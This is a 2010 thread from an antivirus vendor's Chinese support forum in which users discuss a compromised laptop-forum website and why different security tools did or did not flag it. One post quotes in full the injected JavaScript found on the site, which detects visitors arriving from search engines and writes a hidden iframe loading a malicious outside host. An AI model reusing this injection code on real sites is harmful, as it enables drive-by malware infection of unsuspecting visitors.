微点交流论坛

标题: 这次微点没报但360报了，大家看看是否正常 [打印本页]

作者: georgefan 时间: 2010-6-24 14:52 标题: 这次微点没报但360报了，大家看看是否正常

http://www.51nb.com/forum/thread-970167-1-1.html

看这个贴子，大家不妨从这个网站的主页体验一下。

作者: georgefan 时间: 2010-6-24 14:52
如果51nb网站没被挂木马这句代码是什么意思?木马清除掉了,但是 ?

如果你们网站没被挂木马

<script src=http://union.7pk.com/tmp/51nb.gif?¨></script>

这句代码是什么意思?

广告挂多了?

查看办法
查看网页原文件

请各位尽快杀毒如果杀毒软件没有报错尽快更换杀毒软件

尽快修改各种密码或临时挂失各种账户

推荐管理员尽快暂停网站

损失几天广告费无所谓

用户损失几百万可就赔不起啦

最奇怪的是论坛的版主居然公开场合发布如何关闭安全软件提示本论坛有病毒木马
莫非是有意挂木马?
http://www.51nb.com/forum/thread-970042-1-1.html

不良代码具体内容如下:

var url=document.referrer;
var p=url.toLowerCase().indexOf(".baidu.com");
if (p>0)
{
document.writeln("<iframe src=http://microsoft45.8866.org:6677/g/index.html width=0 height=0></iframe>");
}
var url=document.referrer;
var p=url.toLowerCase().indexOf(".google.com.hk");
if (p>0)
{
document.writeln("<iframe src=http://microsoft45.8866.org:6677/g/index.html width=0 height=0></iframe>");
}
var url=document.referrer;
var p=url.toLowerCase().indexOf(".sogou.com");
if (p>0)
{
document.writeln("<iframe src=http://microsoft45.8866.org:6677/g/index.html width=0 height=0></iframe>");
}
var url=document.referrer;
var p=url.toLowerCase().indexOf(".soso.com");
if (p>0)
{
document.writeln("<iframe src=http://microsoft45.8866.org:6677/g/index.html width=0 height=0></iframe>");
}
var url=document.referrer;
var p=url.toLowerCase().indexOf(".gougou.com");
if (p>0)
{
document.writeln("<iframe src=http://microsoft45.8866.org:6677/g/index.html width=0 height=0></iframe>");
}
var url=document.referrer;
var p=url.toLowerCase().indexOf(".118114.cn");
if (p>0)
{
document.writeln("<iframe src=http://microsoft45.8866.org:6677/g/index.html width=0 height=0></iframe>");
}
var url=document.referrer;
var p=url.toLowerCase().indexOf(".bing.com");
if (p>0)
{
document.writeln("<iframe src=http://microsoft45.8866.org:6677/g/index.html width=0 height=0></iframe>");
}
var url=document.referrer;
var p=url.toLowerCase().indexOf(".youdao.com");
if (p>0)
{
document.writeln("<iframe src=http://microsoft45.8866.org:6677/g/index.html width=0 height=0></iframe>");
}
var url=document.referrer;
var p=url.toLowerCase().indexOf(".yahoo.com");
if (p>0)
{
document.writeln("<iframe src=http://microsoft45.8866.org:6677/g/index.html width=0 height=0></iframe>");
}

[ Edited by 13236608421 on 2010-6-24 14:34 ]

作者: georgefan 时间: 2010-6-24 14:53
不对，是360浏览器报了，TT浏览器报了，但360安全卫士和杀毒没有报，所有其它杀软都没有报。

作者: georgefan 时间: 2010-6-24 14:57
不过，我用的是chromium浏览器，不知沙箱技术对这个有没有免疫力？

作者: georgefan 时间: 2010-6-24 15:07
看这个，使用chromium能避邪吗？

附件 1: 捕获.JPG (2010-6-24 15:07, 60.73 K,下载次数： 49)

作者: Legend 时间: 2010-6-24 15:12
感谢楼主的反馈。
请问您使用的微点软件具体是什么版本？
对于楼主反馈的问题，我们具体的进行测试分析。

作者: georgefan 时间: 2010-6-24 15:16
没法测试了。哪个网站已经删除了挂马代码。您关注哪个贴子就成。
我是上周安装的最新的体验版，正在体验。机器情况：

win7 32位旗舰版
360安全卫士
趋势企业版
微点最新体验版

作者: Legend 时间: 2010-6-24 15:21
感谢您的进一步反馈，如有其他问题，请您及时联系我们。

作者: georgefan 时间: 2010-6-24 16:21
完了，贴子被板主删了。

各位老大，能否回答我一个问题：以chromium浏览器裸奔，遇到这样的网页，chromium的沙箱机制能否产生作用？为什么？

欢迎光临微点交流论坛 (http://bbs.micropoint.com.cn/)

bbs.micropoint.com.cn